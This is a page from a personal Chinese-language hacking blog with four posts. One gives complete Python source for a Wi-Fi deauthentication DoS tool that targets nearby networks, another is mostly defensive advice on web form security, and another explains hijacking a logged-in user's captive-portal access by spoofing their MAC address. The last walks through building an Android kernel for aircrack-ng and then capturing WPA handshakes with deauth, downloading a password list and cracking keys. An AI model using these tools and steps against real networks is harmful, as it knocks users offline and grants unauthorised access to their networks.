Category:General

Found 67 records. At Page 11 / 14.

WiFi_Kicker.py DeAuth 攻擊

-
更新於

今天實在太過閒,其實也不閒,只是不想花時間讀書,一想到就厭煩。於是就用Python寫了個小程式當作練習。

WiFi Kicker,看名稱就知道大概是讓別人斷線的程式。

主要功能:選擇性DOS目標,自訂目標SSID(有些地方有很多個相同名稱,但實際上都是不同的基地台,例如學校、公司…等)、自訂訊號強度(舉例:訊號強度要大於-70dbm才DeAuth DOS攻擊)、自訂間隔時間。

首先…因為我初學,所以程式設計得不是很好。必須要有兩張網卡,wlan0,wlan1,

而wlan1必須要支援mon模式。

必要組件:aircrack、mdk3、python wifi lib。

apt-get install python-pip
apt-get install aircrack-ng
apt-get install mdk3
pip install wifi

這主要是針對我自己的平板所寫的,桌面環境為LXDE。指令裡面有寫到 lxterminal 這個應用程式,所以可能要自己修改一下。

開發緣由:我自己的AR9271這網卡在某些場所搜尋的裝置實在太多了!如果開了 mdk3 根本Dos不到什麼東西。反而自己的網卡Down了。所以我自己寫了一個根據訊號強度和目標裝置SSID,特定目標DOS會比較有效一點。

wifi_kicker.py - Source Code

# coding: utf-8
"""By Weil Jimmer - For Safe Test Only"""
from wifi import Cell, Scheme
import time,os,subprocess

def __init__(self):
	print("")

class wcolors:
	GRAY = "\033[1;30m"
	RED = "\033[1;31m"
	LIME = "\033[1;32m"
	YELLOW = "\033[1;33m"
	BLUE = "\033[1;34m"
	MAGENTA = "\033[1;35m"
	CYAN = "\033[1;36m"
	WHITE = "\033[1;37m"
	DARK_RED = "\033[1;38m"
	BGRAY = "\033[1;47m"
	BRED = "\033[1;41m"
	BLIME = "\033[1;42m"
	BYELLOW = "\033[1;43m"
	BBLUE = "\033[1;44m"
	BMAGENTA = "\033[1;45m"
	BCYAN = "\033[1;46m"
	BDARK_RED = "\033[1;48m"
	BOLD = "\033[1m"
	UNDERLINE = "\033[4m"
	END = "\033[1;m"
	END_BOLD = "\033[1m"

print ("\033[1;31;40m")
print ("*" * 40)
print ("*  ")
print ("*  Name:\t" + wcolors.BOLD + "WiFi Ass Kicker" + wcolors.END_BOLD)
print ("*  ")
print ("*  Team:\tWhite Birch Forum Team")
print ("*  ")
print ("*  Website:\thttp://0000.twgogo.org/")
print ("*  ")
print ("*  Date:\t2015.09.20")
print ("*  ")
print ("*" * 40)
print ("\033[0m")

target_singal_limit = int(raw_input("目標訊號強度(請加負號):"))
target_ssid = str(raw_input("目標SSID(選填,可留空):"))
time_X = int(raw_input("間隔秒數:"))

if time_X<=0:
	time_X=10

os.system("ifconfig wlan1 up")
time.sleep(2)
print("wlan1 UP..")
os.system("airmon-ng start wlan1")
time.sleep(2)
print("wlan1mon UP..")

os.system("lxterminal -e 'bash -c \"airodump-ng wlan1mon; exec bash\"'")
os.system("lxterminal -e 'bash -c \"mdk3 wlan1mon d -b black_list.txt -s 1024; exec bash\"'")
try:
	while True:
		try:
			target_mac=[]
			print(wcolors.RED + "Scanning..." + wcolors.END)
			k=Cell.all('wlan0')
			print(wcolors.RED + "Scan Done." + wcolors.END) 
			for x in range(0,len(k)):
				if (k[x].signal>=target_singal_limit and (target_ssid==k[x].ssid or target_ssid=="")):
					target_mac.append(str(k[x].address))
					print("Found MAC:" + wcolors.RED + str(k[x].address) + wcolors.END + "\tSIGNAL:" + wcolors.RED + str(k[x].signal) + wcolors.END + "\tSSID:" + wcolors.RED + k[x].ssid + wcolors.END)
				else:
					print("Found MAC:" + wcolors.YELLOW + str(k[x].address) + wcolors.END + "\tSIGNAL:" + wcolors.YELLOW + str(k[x].signal) + wcolors.END + "\tSSID:" + wcolors.YELLOW + k[x].ssid + wcolors.END)
			target = open('./black_list.txt', 'w')
			for x in range(0,len(target_mac)):
				target.write(target_mac[x] + "\n")
			target.close()
		except:
			print("")
		time.sleep(time_X)
except:
	os.system("airmon-ng stop wlan1mon")
	time.sleep(2)
	print("wlan1mon DOWN..")
input("\n\n請輸入任意鍵結束...");


This entry was posted in Experience, Functions, General, Note, Python, Tools, Wi-Fi By .

淺談 - 資安 - 表單防禦

-
更新於

閒閒沒事在Google搜尋我自己部落相關的關鍵字,想看看能見度多高還有會顯示什麼東西,我搜尋表單攻擊,卻看到別人部落上寫了一篇表單安全性的文章,突然有感而發,我也來發表這類的東西。

--只是個人淺見,若有高手歡迎指正。--

首先撰寫表單堅持一些要點就不容易被攻擊。

一、過濾所有Request變數。

最基本的防禦XSS,那些JavaScript寫成的惡意程式碼,還有跨站框架……等等攻擊。最主要只要擋掉「HTML」標籤就可以了,問題是,萬一我要開放HTML給使用者使用,這下才是真的麻煩,如果真如此就只好開放BBcode囉。千萬不要直接允許用戶輸入HTML,即使是限制也是有問題的。

攻擊者可以利用事件 onClick、onError、onLoad 之類的方式觸發XSS攻擊。危險。

Replace掉所有「<」、「>」、單雙引號,就安全了嗎?Maybe,Maybe Not。

有些人就直接 Replace 掉 <script ,感覺上很對,實際上有很大的漏洞。

如果我寫 「<script<scr<scriptipt>」被過濾掉一次之後會變為「<script>」,像這種清除字串,最好寫一個 while true ,刪乾淨,搜尋到就刪,直到沒搜尋到為止。(萬不得已才這樣做)

個人建議全部改用 HTML 編碼,全面HTML編碼(HTML編碼就是 &#Unicode; 的形式的字串),若有引數是在資料庫語句的話就請不要用 XXX=XXX 的形式(數字型態),全部改用 XXX="XXX" 之類的,一定要有引號框住。並且過濾掉所有單雙引號<>以及反斜線。

至於傳進變數的方式,建議通通改成 POST ,不要使用 GET ,除非分頁設計還是什麼的,不然絕對沒必要使用 GET ,很危險。這有牽扯到某些伺服器的有啟用magic quotes,會自動脫逸引號字元,所以用POST會較為安全一些。而且POST,攻擊者比較不好攻擊。

還有COOKIE、Header 傳進來的 也建議 過濾掉。

二、不使用cookie、鎖定session以及IP。

又要再次重申 cookie 的危險程度,我幾乎寫程式只用 session 完全不使用 cookie,我知道session 有所謂的 SESSION_id 是透過 cookie 所存,所以攻擊者只要獲取其他人的 session ID,即可使用 cookie 欺騙 就這樣簡單的取得他人的帳號權限。

網路上有一堆防禦方法是 透過IP UserAgent 算出來的 MD5 作為安全碼,只要進來的安全碼和之前不同就登出用戶,是一個很棒的方式,不過很麻煩。這對登入表單有一些效果,如果是留言表單,我故意關閉cookie,讓server的session id 跳錯,這樣就很有可能可以直接不經過驗證碼就可以留言(前提是對方沒有檢查session驗證碼的值是否為空)。

我的作法是強制鎖定 session ID 為 IP 的 md5 值,這樣也許會有點不方便,不過我覺得這樣反而好一點,不需要擔心什麼 session 挾持,或是 對方換一個新的 ID 進來,明明被 ban 15分鐘又可以繼續留言。

三、防止表單偽造、防止惡意灌水

什麼是表單偽造,表單傳入的值可以直接當成 name=value&name2=value2 ... 無限延伸,檢查也是檢查值,很多後端程式 根本不管從哪來 Request 進來的,這給攻擊者很大的方便,只要複製一分一模一樣的表單,就可以無限偽造一堆請求過去。

有些會透過 Header 的 Referer 來檢查 轉介站,不過 Header 也是可以偽造的。

所以,最好是在 表單一訪問的情況 就立刻生成一個 Key ,當值傳到後端處理的時候,就檢查那個 Key 有沒有相同,不同就是表單偽造,然後每次通過驗證就銷毀 Key重新生成一個新的,而攻擊者為了取得Key,必須一直不斷的向 「原始」 表單請求 ,獲取裡面的 Key 才可以發送資料。

這原理跟驗證碼有點相似,現在很多網站都有圖形驗證碼了。不過一樣也有一些是沒有驗證碼的,驗證碼是一定要有的!不然會被惡意攻擊,

而那些使用 「文字」驗證碼的人,自以為很安全,其實很危險。我近期開發出來的表單攻擊程式就可以破解文字驗證碼!即使是要經過數學運算的也是一樣可以破解。

意味著我可以提交完就訪問原始網站,分析驗證碼,又提交,又訪問原始網站,分析驗證碼,又提交……

唯有圖形驗證碼才可以防禦此類攻擊。文字驗證碼根本不可靠。

By Weil Jimmer


This entry was posted in Experience, Functions, General, HTML, JS, PHP By .

【實驗】兩台MAC地址相同的裝置連接到同個基地台

-
更新於

【Test】Both Device Which Is The Same MAC Address Connect to Wi-Fi

這個實驗,Jimmy Joe已經做過了,不過他網站上沒有描述清楚到底會怎樣,所以我要自己測試一下。

實驗裝置:

基地台:小米隨身Wi-Fi USB

裝置:Samsung Galaxy Tab 4 7.0 LTE(SMT235Y) 、 Infocus M810

首先因為我的手機很冷門,資訊極少,我也不知道要怎麼改Mac,但平板刷了CM12.1之後就可以使用Google Play商店上的Mac Changer,所以,用平板去改MAC地址。

在這之前,手機已經與Wi-Fi基地台連線了。


開始改MAC。

在電腦上顯示的結果如下:(未看到其他裝置登入,除了裝置名稱,其餘資訊,像是製造商、IP……等,都沒有變更。)

平板(Fake MAC)嘗試訪問網站,結果可以正常訪問。

現在輪到手機(原用戶):Wi-Fi 沒有斷線,呈現已登入狀態,不過傳輸數據完全沒有任何回應。(無法正常使用網路)

接著把平板(Fake MAC)遠離基地台,讓手機(原用戶)靠近基地台。再次實驗,以測試與訊號強度是否有關係。

結果還是一樣!原用戶無法正常使用網路,平板可以正常使用網路。(看來…是先登入的被無預警登出,後登入的佔主導權。)

下列是,假MAC改回正常MAC連入基地台。(原用戶沒有受到另一台裝置干擾)

結果原用戶果然可以正常使用網路。一整個過程當中,原用戶都沒有被中斷連線,只是,會有段時間感覺好像已經斷網了。(實際上還是連著的。)

實驗結束。

結論:以我這基地台來說,是不會察覺到有兩台裝置同時使用網路並造成一下有一下無的情況,而是,真的會被踢掉,假的會正常使用。

若手機重新連線應該又會換成原用戶佔主導權,而假的無法正常使用了。

所以,和訊號強度(遠近)無關。

/**********2015/8/28 五 (更新)************/

**已經實驗證實**若是在 Open Wi-Fi Guest Mode 的環境下,進行更改MAC地址的動作,可以免費存取Wi-Fi。

什麼意思?

講白一點就是:例如學校、公司…等環境,都有開放式的Wi-Fi,可以直接連進去但沒有網路,接著會提示要使用者登入帳密。進行網頁認證後才可以上網。

我們可以透過更改自己的MAC地址為已登入用戶的MAC地址,這樣會造成,已登入用戶無法正常上網,但我可以正常上網。

要如何取得別人的MAC?可以在終端機輸入:

arp -an

之類的,或用zANTI、dSploit、Intercepter-NG……查看內網的其他人的MAC地址。

再更改即可。

By Weil Jimmer


This entry was posted in Experience, Functions, General, Note, The Internet, Wi-Fi By .

Aircack-ng on Android Using Wireless Adapter + OTG Compile Kernel

-
更新於

警告:若本心得損壞了您的裝置,本人不負任何責任!我也沒必要回答您的任何問題!
本方法僅作測試用!不做非法用途,使用後,法律責任請自行負擔!

說明:使用WIFI USB 在手機/平板上實現Aircrack-ng WIFI 攻擊。開出 Monitor mode。進行各種測試。像是:DeAuth、FakeAuth、Crack WPA/WPA2/WEP Password、ARP……。各種超乎想像的攻擊,你覺得自己的Wifi安全嗎?我會回答:極度不安全。你呢?

首先我要說這一路完成是多麼的不容易,必須要有「耐心」,不畏懼困難與失敗不斷一再地嘗試,才可以通往成功之路。(我失敗的次數挺嚇人的,失敗30次以上,花了四個工作天才完成。)

和我用相同裝置(SM-T235Y)的人就可以免除這些動作,因為我已經編譯好一個boot.img公開下載,最下面有下載地址(要先裝好CM12.1,XDA有ROM下載地址,接著再刷我編譯的核心就可以了)。

※這篇主要是一篇心得文章,意思是我不太想回答別人的問題,但會盡我所能的詳述我各種遇上的困難與解決方法。

準備工具:

JDK、NDK、Build-Essential……LIB等。

手機/平板 、 OTG線(USB母、Mirco USB公) 、 支援Monitor Mode的無線網卡USB。

ROM 安裝包(boot.img)、 Kernel Source。

-----

我準備的是:Samsung Galaxy Tab 4 7.0 LTE T235Y 、 TP-Link WN722N。

建議開始編譯前,先調查好支援的網卡晶片型號是什麼,以及是否可以成功開出Mon模式。我之前很大的錯誤點,就是我買了RTL8188CU,難怪開不出Mon。

可以到這個網站去查詢該網卡晶片是否被Aircrack-ng所支援:

http://www.aircrack-ng.org/doku.php?id=compatibility_drivers

大致上準備完畢就可以開始編譯工作,如果你的手機/平板很熱門,網路上有人開發出支援網卡的核心的話,就可以跳過這步。

第一步,必須在Ubuntu的環境下進行編譯核心,並且安裝好必要組件(網路上搜尋就有一堆教學)

開啟終端機,進入先解壓縮核心,tar xvf Kerenl_Source,然後 cd 進去資料夾內。

cd Kernel_Source_Dir

有些教學可能會要使用者先Clean,不過在這之前,我們要先確定GCC編譯工具的位置,就是所下載的NDK,解壓縮後裡面會有toolchains,進去裡面找到「合適」的GCC。

(可能要先去搜尋你手機或平板的CPU是什麼型號,建議可以先去Google Play下載CPU Spy,就會知道用什麼版本號的GCC,要對應正確的版本,否則會編譯失敗,如下圖,就是編譯失敗的結果。)

確定好,GCC的路徑之後,匯入交叉編譯的變數裡面。或是直接更改Make檔案。記得ARCH一定要設定成arm,接著就執行make clean && make mrproper,示例代碼如下。

(不一定完全符合你裝置的型號!要自己去匹配正確的GCC編譯工具,當初我就卡死在這,明明照教學卻一直編譯失敗)

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make clean && make mrproper

照理是不應該出現Command Not Found,如果跑出這句話,表示GCC沒有正確的匹配到!要檢查路徑是否正確,如果都正常的話,就進入下一步,配置.config檔案。

(我們可以在Make File裡面做一些更改,Extraversion改成你想取的版本號!只能英文小寫,不能有空格,例如:weil-jimmer-build-v1,不超過64個字母為限!)

DEVICE_NAME=裝置名稱(XXXX_deconfig,例如:degaslte_01_defconfig)
可以進入ach/arm/config找尋匹配你裝置的配置檔案。

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make DEVICE_NAME

重新配置Linux核心。

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make menuconfig

接著應該會跳出藍底灰介面黑字的畫面。

我們要在裡面配置網卡驅動,使目標驅動Built-in,這樣接上OTG才可以讓網卡正確工作。

詳細配置方法可以參考:

https://support.criticallink.com/redmine/projects/arm9-platforms/wiki/USB_WiFi_Configuration

最後,就是編譯,有些教學會在make 後面加個參數 -j5 之類的,我倒覺得沒差,只是跑多線程編譯,會變比較快而已!

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make

,按下Enter後,就可以去喝個咖啡,看看影片,等個幾十分鐘,最後,就會看到Kernel:arch/arm/boot/zImage is Ready。

到這一步時,又使我卡住了,下一步呢?有不少教學提供參考是,把zImage轉成ZIP,用Recovery刷進去裡面,但是要有AnyKernel.zip而且要符合裝置型號,並不是每台裝置都支持!有AnyKernel.zip之後,就只是把zImage丟進去取代,再刷入裝置。

但,像我這種冷門平板,怎可能有相對應的型號!所以,我們得另求方法,網路上有人又說了,可以在手機上使用 Odin Mobile App,刷入zImage,但也是一樣,只對特定機型有支援而已,而我的裝置還是處於冷門狀態,也不支援這方式!

也有人說:可以使用指令:

zImage=zImage的路徑

fastboot flash zimage zImage

相對的,這是裝置必須支援 bootloader!不過因為我的裝置是三星,所以,沒有bootloader,這方法不可行!

因此我用了一個比較危險但Work的方法!

就是抽取boot.img,切割為 RamDisk + zImage,最後再組合回去!用TWRP刷入裝置boot裡面!

boot.img 怎麼取得?答案就是從 ROM安裝包裡面解壓縮出來!(要從裝置系統分區提取出來也是可行!不過太複雜,不採用。)

接著我們把boot.img透過 Android Kitchen,切割,最後把我們編譯的zImage丟進資料夾取代,最後合成出一個新的boot.img!

Android Kitchen 下載地址:

主要地址:https://mega.nz/#!lEMnAJxB!ftx-JBvkYjoIcpLwwbMIBlBd2ldICK1UnPRpxuAGN6Q

備用地址:http://cht.tw/h/t8f85

當合成好boot.img,就可以來刷入裝置!

刷入成功後,可以確認一下版本號,檢查核心是不是自己所編譯的那個zImage!

成功之後,可以先去Google Play下載一個工具ifconfig或是終端機還是什麼的,總之可以檢查網卡的工具,然後把OTG+天線插入裝置中,檢查是否多出了wlan1。(可能需要用終端機,輸入指令ifconfig wlan1 up。)

(如果沒有找到wlan1,可能需要先複製驅動檔案到/verndo/firmware/,例如我的AR9271天線,就有一個firmware檔案名為htc_9271.fw,可以在 https://mega.nz/#!EYMDGJZZ!rDA-OzauBA0MhRjVs1sMlW8C0WilFjcu7jBN9e9FzHo 下載的到,使用Root Explorer複製驅動貼上至「firmware」資料夾,各個裝置可能不太相同!請自行判斷。)

經確認,多了一個 wlan1 網卡,而且移除OTG線,wlan1就消失了,所以可以肯定,就是我們所插入的WIFI usb網卡。

下一步,我們可以去 Google Play 商店上,安裝 Linux Deploy ,

(核心要有支援loopback device,一樣這個可以在內核Linux配置裡面找到,或是直接修改.config檔案,備註:.config檔案屬性是隱藏的。)

CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=8

(可能要先關閉SELinux,不對,應該說分區系統的配置最好都設定777,可以去搜尋一下loop device的配置。)

等待安裝完成啟動Linux!

透過 ssh 或是 vnc 連線至 localhost ,密碼預設是 changeme。

成功連線後,進入Linux,

sudo apt-get install ethtool
sudo apt-get install usbutils
sudo apt-get install aircrack-ng
ifconfig wlan1 up
airmon-ng start wlan1

最後 airodump-ng wlan1mon 一下。測試可以抓到資料,就大功告成了!

這就是我冷門平板編譯成功 支援 網卡 loop裝置實現 aircrack on android 的圖片。

萬事俱備,就可以來破解Wifi密碼了。

先監聽一下目標。

airodump-ng wlan1mon

找到目標後,Ctrl+C 取消進程。然後監聽特定目標並存檔。

airodump-ng --bssid BSSID -c CHANNEL -w OUTPUT_FILE_NAME wlan1mon

最後給AP來個DeAuth!

aireplay-ng -0 1 -a AP_MAC -c CLIENT_MAC wlan1mon
    #-0 DeAuth Count.

就可以得到 WPA/WPA2 4-way HandShake 關鍵包。

接著就來 aircrack !爆破WPA2/WPA密碼。

字典檔可以在這下載:http://dazzlepod.com/site_media/txt/passwords.txt

wget http://dazzlepod.com/site_media/txt/passwords.txt
aircrack-ng -w PASSWORD_FILE -b BSSID OUTPUT_CAP_FILE*.cap

WEP則另當別論。用aireplay-ng -3 ARP Attack即可。得到一萬個IVS之後,用aircrack-ng 的 -a 1 WEP 破解模式。

資料下載:

Android Kitchen:

http://cht.tw/h/t8f85

https://mega.nz/#!lEMnAJxB!ftx-JBvkYjoIcpLwwbMIBlBd2ldICK1UnPRpxuAGN6Q

htc9271.fw

http://cht.tw/h/714gi

https://mega.nz/#!EYMDGJZZ!rDA-OzauBA0MhRjVs1sMlW8C0WilFjcu7jBN9e9FzHo

.config (僅供參考,切勿直接使用,裝置不一的話,可能會損壞你的裝置)

http://cht.tw/h/h9cxr

https://mega.nz/#!scVxWSYY!hMzV3AMHC9YMru8rQjMUPyq81q8x7l2n-PpTdY7l1CQ

CM12.1 (FOR SM-T235(Y) Only)

https://www.androidfilehost.com/?fid=24052804347790522

http://cht.tw/h/r6su9

weil-jimmer-wifi-build-v5.img (FOR SM-T235Y CM12.1 Only)

http://cht.tw/h/37tld

https://mega.nz/#!QYFHxTJb!w1whKQ7SPrdtVZdtsPnTepEMPxpDtD2I7tnU2jXSCBk

By Weil Jimmer


This entry was posted in Experience, Functions, General, Note, Tools, Wi-Fi By .